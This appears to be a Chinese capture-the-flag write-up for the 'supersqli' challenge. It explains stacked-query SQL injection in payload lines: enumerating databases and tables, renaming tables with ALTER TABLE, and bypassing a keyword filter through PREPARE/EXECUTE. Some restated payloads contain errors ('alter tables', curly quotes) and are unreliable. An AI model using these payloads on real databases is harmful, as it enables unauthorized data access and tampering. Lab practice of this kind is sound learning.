supersqli
查看是否存在SQL注入
1' and 1=1 #
用二分法查看列数(有两列)
1' order by 2 #
使用联合查询发现做了SQL注入黑名单禁止出现以下关键字
堆叠注入
接下来我们尝试堆叠注入:
查询数据库:(输入框里的–+做了过滤,但在url里依然可以用)
;show databases;--+
查表:
';show tables;--+
分别查询两个表的字段:
(字符串为表名进行操作时要加反引号)
; show columns from `1919810931114514` ;--+
; show columns from `words` ;--+
word:flag,NO字段
1919810931114514:id,NO等等字段
查询字段内容
这里有两种方法:1.一种改表名 2.预编译
方法一:
根据在words表里发现id字段与查询框里的出的数据类型相同,一个数字,一个字符串,所以猜测默认查询的就是words表,inject(搜索框中)值应该赋给了id
利用:我们可以将含有flag字段的表命名为word,然后修改字段名字,不就查询到我们想要的结果!(前提是这里rename,alert关键字 没有做过滤)
; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50); #
拆开:
; alter tables words rename to words1;
; alter tables `1919810931114514` rename to words ;
; alter tables words change flag id varchar(50); #
查看flag:
1' or 1=1 #
1’ or 1=1 #
**方法二:**预编译来绕过
构造payload:
';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514
;’); 进行预编译
prEpare stmt from @sql; 设置变量
EXECUTE stmt;# 执行
flag:
flag{c168d583ed0d4d7196967b28cbd0b5e9